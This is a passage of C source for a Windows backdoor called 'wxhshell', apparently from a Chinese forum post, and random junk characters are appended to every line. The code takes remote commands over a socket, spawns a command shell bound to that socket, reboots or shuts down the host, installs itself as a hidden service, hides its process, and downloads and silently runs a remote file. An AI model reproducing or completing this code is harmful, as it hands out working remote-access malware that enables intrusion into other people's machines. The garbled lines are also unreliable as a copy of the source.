    switch(cmd[0]) { `t~jHe4!Y  
  2s\ClT  
  // 帮助 f2i:I1 p("  
  case '?': { 08`|C)Z!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qd[_W^QI  
    break; BNu >/zGpB  
  } 0ns\:2)cEB  
  // 安装 a#YK1n[!  
  case 'i': { zfeT>S+  
    if(Install()) !@ ^6/=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iVXt@[  
    else lK0ny>RB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [0 F~e  
    break; $.SBW=^V  
    } fK J-/{|  
  // 卸载 @NiuT%#c  
  case 'r': { \CL8~  
    if(Uninstall()) ANM#Kx+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pH1!6X  
    else BzzC|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UlYFloZ  
    break; m@td[^O-  
    } =RQF::[h  
  // 显示 wxhshell 所在路径 |kYlh5/c d  
  case 'p': { bn(N8MFCV  
    char svExeFile[MAX_PATH]; [n2B6Px  
    strcpy(svExeFile,"\n\r"); #S}orWj  
      strcat(svExeFile,ExeFile); VI0wul~M  
        send(wsh,svExeFile,strlen(svExeFile),0); v ,8;: sD  
    break; <RGH+4LF  
    } sTM;l,  
  // 重启 /eF@a!  
  case 'b': { S /hx\TzC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;M:AcQZ|_  
    if(Boot(REBOOT)) UVo`jb|> o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aSzI5J]/=  
    else { Joow{75K  
    closesocket(wsh); 2Y vr|] \8  
    ExitThread(0); ge~@}&#iO@  
    } *]$B 9zVs!  
    break; v"USD<   
    } )9]a  
  // 关机 ".?4`@7F\  
  case 'd': { XUqorE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Eb8pM>'qM  
    if(Boot(SHUTDOWN)) p5G'})x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -@pjEI  
    else { M3(N!xT  
    closesocket(wsh); X0/slOT  
    ExitThread(0); ;qshd'?*  
    } `Ij@;=(  
    break; ^q:-ZgM>  
    } b}[S+G-9W  
  // 获取shell 3Z!%td5n  
  case 's': { !GcBNQ1p+7  
    CmdShell(wsh); k# [!; <  
    closesocket(wsh); <LHhs <M'  
    ExitThread(0); l5[5Y6c>  
    break; "r9Rr_, >  
  } w'S,{GW  
  // 退出 >>U>'}@Q  
  case 'x': { LOh2eZ"n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q Be6\oq  
    CloseIt(wsh); 380`>"D  
    break; @) Qgy}*5  
    } I'/3_AX  
  // 离开 !nvwRQ  
  case 'q': { FY1iY/\Cn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E }L Hp  
    closesocket(wsh); `|dyT6V0I_  
    WSACleanup(); mUYRioNj  
    exit(1); ZT0\V ]!B  
    break; HI.*xkBXl&  
        } 66yw[,Y  
  } 2~4:rEPJ:  
  } }A)\bffH  
3BFOZV+  
  // 提示信息 9/ <3mF@E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h0{X$&:  
} %w;qu1j  
  } ^_2c\mw_I  
@!8aZB3odt  
  return; ){^J8]b7#  
} cD!,ZL  
&>sbsx\y  
// shell模块句柄 As:O|!F  
int CmdShell(SOCKET sock) @DN/]P  
{ 8&<mg;H,  
STARTUPINFO si; jK|n^5\  
ZeroMemory(&si,sizeof(si)); J4Gzp~{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *uvM6F$ut  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $y(;"hy  
PROCESS_INFORMATION ProcessInfo; bi<<z-q`wJ  
char cmdline[]="cmd"; M\ATT%b:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {,>G 1>Yv  
  return 0; \DB-2*a"  
} C:QB=?%;  
}vndt*F   
// 自身启动模式 (b&g4$!x&5  
int StartFromService(void) =sJ?]U  
{ Aoe\\'O|V  
typedef struct 8Fn\ycX#"l  
{ _$~>O7  
  DWORD ExitStatus; zl0{lV  
  DWORD PebBaseAddress; Ak'=l;  
  DWORD AffinityMask; _imuyt".+  
  DWORD BasePriority; { bj!]j  
  ULONG UniqueProcessId; #<{v~sVp&  
  ULONG InheritedFromUniqueProcessId; o Pe|Gfv\G  
}   PROCESS_BASIC_INFORMATION; x#1 Fi$.  
c~ss^[qx|  
PROCNTQSIP NtQueryInformationProcess;  RD$:.   
%OQdUH4x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?qh-#,O9B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "{q#)N  
#{i*9'  
  HANDLE             hProcess; waMF~#PJlt  
  PROCESS_BASIC_INFORMATION pbi; }7 N6n Zj`  
NxP(&M(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &:&'70Ya  
  if(NULL == hInst ) return 0; *z0!=>(  
 a_?sJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i|:!I)(lh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -|>~I#vY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G m~ ./-  
`DM%a~^yg  
  if (!NtQueryInformationProcess) return 0; $dC`keQM>9  
Sd7jd?#9'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !=0h*=NOYt  
  if(!hProcess) return 0; L\Se ,  
lY%I("2=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N>mW64_H)  
.j}]J:{%  
  CloseHandle(hProcess); ORM>|&  
f{BF%;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AuNUW0/ 7  
if(hProcess==NULL) return 0; 4f LRl-)  
\xYVnjG,  
HMODULE hMod; 4Aj~mA  
char procName[255]; d NACE*g;q  
unsigned long cbNeeded; lF}[ YL  
nY'V,v[F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VfU"%0x  
rN0<y4)!  
  CloseHandle(hProcess); sJ6.3= c  
F8pA)!AH  
if(strstr(procName,"services")) return 1; // 以服务启动 =uP? ?E  
t"=5MaQk-  
  return 0; // 注册表启动 )+ .=z  
} yRXML\Ge  
X%Ok ">  
// 主模块 b3A0o*  
int StartWxhshell(LPSTR lpCmdLine) R1];P*>%gZ  
{ BT7{]2?&V  
  SOCKET wsl; gInh+XZs  
BOOL val=TRUE; p-4$)w~6i  
  int port=0; mixsJ}e  
  struct sockaddr_in door; JP#S/kJ%3  
*X0>Ru[  
  if(wscfg.ws_autoins) Install(); |{9<%Ok4P  
abo=v<mR  
port=atoi(lpCmdLine); .}IW!$ dq  
!XPjRdq  
if(port<=0) port=wscfg.ws_port; W[2]$TwT  
Xa[k=qFo  
  WSADATA data; =j.TDv'^nd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Af3|l  
3$?6rMl@y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cBxGGggB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O<S.fr,  
  door.sin_family = AF_INET; #&Hi0..y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IuwE&#  
  door.sin_port = htons(port); !"^Zr]Qt+\  
vJWBr:`L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JR!-1tnc  
closesocket(wsl); y:'Ns$+  
return 1; 1wFu3fh@  
} 5B=uvp|Y  
CsZ~LQ=DB  
  if(listen(wsl,2) == INVALID_SOCKET) { s6H.Q$3L  
closesocket(wsl); a?[[F{X9^  
return 1; B;k'J:-"  
} Q'OtXs 80  
  Wxhshell(wsl); EBy7wU`S  
  WSACleanup(); /U;j-m&   
]az(w&vqg2  
return 0; { 4J.  
U1 _"D+XB  
} mnm ZO}   
,L ig6Z`  
// 以NT服务方式启动 wJC[[_"3 I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DU^.5f  
{ J(]|)?x2  
DWORD   status = 0; 2Q6;SF"Z  
  DWORD   specificError = 0xfffffff; E)-;sFz  
PUR,r%K`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $nt&'Xnv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -1Q24jrO-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l7-lXl"%q  
  serviceStatus.dwWin32ExitCode     = 0; [F6 )Z[uG  
  serviceStatus.dwServiceSpecificExitCode = 0; Pe<VPf9+  
  serviceStatus.dwCheckPoint       = 0; y3~`qq  
  serviceStatus.dwWaitHint       = 0; 2uj .*  
HE&)N clY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Fm`*j/rq  
  if (hServiceStatusHandle==0) return; N@d~gE&^  
{H)7K.hQN  
status = GetLastError(); >7W)iwF  
  if (status!=NO_ERROR) +>PsQ^^x  
{ $hm[x$$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QuR} 6C  
    serviceStatus.dwCheckPoint       = 0; $8\u  
    serviceStatus.dwWaitHint       = 0; lOm01&^"E  
    serviceStatus.dwWin32ExitCode     = status; H_&to3b(  
    serviceStatus.dwServiceSpecificExitCode = specificError; MG?,,8sO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h*Fv~j'p  
    return; ?lC>E[  
  } gTj,I=3$?e  
=@U5/J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,U""m7   
  serviceStatus.dwCheckPoint       = 0; J 8 KiL  
  serviceStatus.dwWaitHint       = 0; C^ZoYf8+"m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uE1;@Dm+  
} )+N{D=YM  
o;@~uU  
// 处理NT服务事件,比如:启动、停止 pX &bX_F{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (OiV IH  
{ CnZ!b_J  
switch(fdwControl) uWJJ\  
{ [/a AH<9b  
case SERVICE_CONTROL_STOP: TtkHMPlm_  
  serviceStatus.dwWin32ExitCode = 0; kL DpZ{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~vXbh(MX  
  serviceStatus.dwCheckPoint   = 0; 8dR `T}  
  serviceStatus.dwWaitHint     = 0; 8&JB_%Gb  
  { y i$+rPF1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |enLv12Gm  
  } x,C8):\t`B  
  return; LK}g<!o(  
case SERVICE_CONTROL_PAUSE: 6Z|h>H5 a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3dN`Q:1R9  
  break; D$>!vD'  
case SERVICE_CONTROL_CONTINUE: t=B1yvE "  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |%|03}Q  
  break; p_I^7 $  
case SERVICE_CONTROL_INTERROGATE: sU>IETo  
  break; P*KIk~J  
}; t+v %%N_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NgTB4I 8P  
} +,,(8=5 g  
-Cyo2wk  
// 标准应用程序主函数 {py%-W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xX-r<:'tmi  
{ Krae^z9R  
C:J frg`  
// 获取操作系统版本 YrnC'o`  
OsIsNt=GetOsVer(); DgT]Nty@b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '8]p]#l  
a,w|r#x]  
  // 从命令行安装 7<su8*?  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'I>USl3hI  
PA'&]piPl:  
  // 下载执行文件 sSU|N;"Y  
if(wscfg.ws_downexe) { lJ;Wi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #@oB2%&X?  
  WinExec(wscfg.ws_filenam,SW_HIDE); VpJKH\)Rt(  
} b? o  
lk>\6o:  
if(!OsIsNt) { ]EKg)E  
// 如果时win9x,隐藏进程并且设置为注册表启动 [gT}<W  
HideProc(); JU17]gQ  
StartWxhshell(lpCmdLine); h/n(  
} y"yo\IDW  
else qb[hKp5K6  
  if(StartFromService()) -6+7&.A+  
  // 以服务方式启动 1 !_p  
  StartServiceCtrlDispatcher(DispatchTable); +(2$YJ35  
else P!]uJ8bi  
  // 普通方式启动 eN<L)a:J_  
  StartWxhshell(lpCmdLine); l:'#pZ4T  
D^4nT,&8  
return 0; KRL.TLgq)  
}
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只看该作者 1 发表于: 2006-10-10
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